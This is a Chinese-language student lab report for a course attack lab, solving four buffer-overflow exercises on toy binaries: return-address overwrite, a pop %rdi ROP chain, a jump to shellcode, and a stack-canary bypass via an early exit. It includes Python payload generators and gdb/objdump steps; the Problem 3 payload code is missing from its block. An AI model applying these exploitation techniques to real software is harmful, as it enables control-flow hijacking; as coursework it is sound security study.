

栈溢出攻击实验

姓名：潘羽 学号：2024201702

题目解决思路

先进行反汇编：

```
objdump -d problem1/2/3/4 > problem1/2/3/4.asm
```

然后从 main 函数开始进行 gdb 调试，读汇编代码

Problem 1:

- 分析：一开始不太明白、没思路，询问 ai 后提示” I like ICS” 在 func1 中输出，只要在从 func 的函数栈帧中下手（因为 func 函数中有 strcpy 这一不安全的输入函数），传入可以覆盖返回地址的参数，使之返回到 0x401216: func1 处即可。重新审视 main 函数的汇编代码，可以得知一开始传入了 main 的，命令行参数：%edi 是整数类型，表示命令行参数的数量；%rsi 是指针类型，指向一个字符串数组，数组中存储了具体的参数内容（即我们需要使用 python 代码产生的二进制 txt 文件路径/文件名）。

```
40127e: 83 bd ec fe ff ff 02      cmpl    $0x2,-0x114(%rbp)
401285: 74 2d                      je     4012b4 <main+0x5c>
```

如上，只有传入参数是 2 个的时候 main 函数主体才可以正常运行。因此直接 gdb 调试（gdb problem1）

```
(gdb) set args solution1.txt
```

然后逐步 ni。想先看一下 func1 函数里面是什么：

```
(gdb) start
(gdb) set $pc = 0x401216 (即func1地址)
(gdb) continue
```

直接到 func1 处，则可以清楚地看到输出确实为” I like ICS”，这个思路确实是正确的！

- 解决方案：接下来考虑传入何种参数可以恰好覆盖返回地址：在 func 函数中，有：

```
401246: 48 8d 45 f8              lea     -0x8(%rbp),%rax
```

那么 strcpy 函数会从-0x8(%rbp) 处开始向高地址处填入，因而有：

rbp + 0x08: 返回地址 <- 我们的攻击目标

rbp + 0x00: 旧的 RBP (8 字节)

rbp - 0x08: 缓冲区起始位置 (8 字节) <- strcpy 从这里开始写入

因此

攻击方案如下：

构造一个包含 24 个字节的输入文件（Payload）：

前 16 个字节：任意填充字符（如 "A"），用于填满缓冲区并覆盖旧的 RBP。

接下来的 8 个字节：目标地址 0x401216（func1 的地址），注意需要使用小端序。

python 代码如下：

```
# 比如你发现你可以使用 'A'去覆盖 8 个字节，然后跳转到 0x114514 地址就可以完成任务，那么你可以这么写你
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" # 小端地址
payload = padding + func1_address
# Write the payload to a file
with open("solution1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans.txt")
```

• 结果：
yupan@Eve:~/attack-lab-enred233\$./problem1 solution1.txt
Do you like ICS?
Yes! I like ICS!

Problem 2:

- 分析：基本思路同第一题，在 func 函数返回时进行操作，希望可以返回到 func2 里面（经过 gdb 调试验证，func2 函数打印的确实是“Yes! I like ICS!”）。观察 func2 的 asm 码：

```
401222: 89 7d fc          mov    %edi,-0x4(%rbp)
401225: 81 7d fc f8 03 00 00  cmpl   $0x3f8,-0x4(%rbp)
```

只有从%edi 中取出的值为 \$0x3f8 时才能正常运行 func2，因此需要在 problem2.asm 中找一个合适的函数能对%edi 进行修改，发现是，因此直接让 func 函数返回到：

```
4012c7: 5f          pop    %rdi
```

再在紧靠着的高地址处写入我们需要的 0x3f8，即：

```
arg_value = b"\xf8\x03\x00\x00\x00\x00\x00\x00"
```

因此在 pop %rdi 后，便已经完成了对%edi 的修改，再让的栈帧返回到函数 func2（地址为 0x401216），正常运行即可打印我们需要的语句了～

- 解决方案：python 代码如下：

```
padding = b"A" * 16
pop_rdi_addr = b"\xc7\x12\x40\x00\x00\x00\x00\x00"
```

```
arg_value = b"\xf8\x03\x00\x00\x00\x00\x00\x00"

func2_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00"

payload = padding + pop_rdi_addr + arg_value + func2_addr

with open("solution2.txt", "wb") as f:
    f.write(payload)

● yupan@Eve:~/attack-lab-enred233$ ./problem2 solution2.txt
Do you like ICS?
Welcome to the second level!
• 结果: Yes! I like ICS!
```

Problem 3:

- 分析：这道题挺难的，提示里说要注意栈地址的变化情况。通过反汇编发现 func 函数里多了一步操作：它把当前的%rsp 存进了一个全局变量 saved_rsp 中。

401368: 48 89 05 a1 21 00 00 mov %rax,%0x21a1(%rip) # 403510 <saved_rsp>

再看题目给出的代码片段，有一个 `jmp_xs` 函数。它会把这个 `saved_rsp` 取出来加上 `0x10` 然后直接 `jmp` 过去。

```
401347: 48 83 45 f8 10      addq $0x10,-0x8(%rbp)
401350: ff e0                jmp *%rax                      # 这里的 %rax 就是 saved
```

经过计算 saved_rsp + 0x10 恰好指向我们输入的缓冲区开头。既然这题没有限制 Nxenabled，且没有像 problem2 那样现成的传参 gadget，最直接的思路就是把返回地址覆盖为 0x401334 (jmp_xs)，然后自己在输入的最开头写一段 Shellcode。只要这段代码能把%edi 改成 114(即 0x72)，再调用 func1(地址 0x401216) 就能过。

- 解决方案：偏移量：缓冲区在 rbp-0x20，返回地址在 rbp+0x8，总共需要 40 字节的 Padding。Payload：最前面放 Shellcode，后面填满 A，最后放 jmp_xs 的地址。

python 代码如下：

```

● yupan@Eve:~/attack-lab-enred233$ ./problem3 solution3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
• 结果: Your lucky number is 114

```

Problem 4:

- 分析：题目已经告诉我们使用了 Canary 保护，且提示说“真的需要写代码吗”。首先反汇编查看 func 函数，确实在函数开头和结尾发现了 Canary 的身影：

```

136c: 64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
1375: 48 89 45 f8            mov    %rax,-0x8(%rbp)

# 结尾检查
140a: 48 8b 45 f8            mov    -0x8(%rbp),%rax
140e: 64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
1417: 74 05                  je     141e <func+0xc1>
1419: e8 b2 fc ff ff        call   10d0 <__stack_chk_fail@plt>

```

Canary 机制就是在栈帧的返回地址和局部变量之间插入一个随机值（哨兵），函数返回前检查这个值是否被覆盖。如果发生溢出，哨兵通常会被破坏，程序就会报错终止。但是，仔细观察 func，可以发现一个捷径：

```

13df: 83 7d f4 ff            cmpl   $0xffffffff,-0xc(%rbp)
13e3: 74 11                  je     13f6 <func+0x99>
...
13f6: e8 1c ff ff ff        call   131c <func1>      # 这里输出成功信息
1400: bf 00 00 00 00        mov    $0x0,%edi
1405: e8 f6 fc ff ff        call   1100 <exit@plt>    # 直接退出了！

```

只要我们输入的数让-0xc(%rbp) 等于-1，程序就会调用 func1 打印通关信息，然后直接调用 exit 退出程序。因为直接 exit 了，程序根本不会执行到函数末尾的 Canary 检查指令，从而绕过了金丝雀值的保护。再看 main 函数，在进入 func 之前有两次 scanf（问名字和是否喜欢 ICS），这两个输入应该是随便怎么写都行，最后输入-1 即可。

- 解决方案：前两行随便输点字符串应付 scanf，最后输入-1。

```

● yupan@Eve:~/attack-lab-enred233$ ./problem4 solution4.txt
hi please tell me what is your name?
panyu
hi! do you like ics?
yes
if you give me enough yuansi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
• 结果: great!I will give you great scores

```

思考与总结

确实如助教师兄所言，这个 AttackLab 是 baby-attack，相比于原汁原味的 attack-lab 难度降低很多了。我基本上沿用了 BombLab 的做题思路，先整体把握一下 asm 码中的几个重要函数 (func、func1、func2、main 等)，然后 gdb 调试慢慢去读 asm 码，只要汇编读的好，理解的准，bomb 和 attack 基本上就是一样地做。

这个 lab 一定程度上提升了我的计算机素养。“函数调用栈”一开始对我而言只是一个抽象的概念，通过 bomb 和 attack 两个 lab 的学习，将其转化为了在内存中的具体布局。我也深刻体会到了缓冲区溢出的危险性，在于它能够打破数据与代码的边界，让攻击者能够劫持程序的控制流。

Attack Lab 还是很硬核，可以称得上“干货”。不仅锻炼了我的逆向分析能力，也给我的编程习惯敲响了警钟：在以后的开发中，必须严格检查数组边界、警惕整数溢出，并尽量避免使用如 strcpy 等不安全的库函数，从源头上减少漏洞的产生。

参考资料

复习了一下之前的 bomblab (?) 这个算么 2333)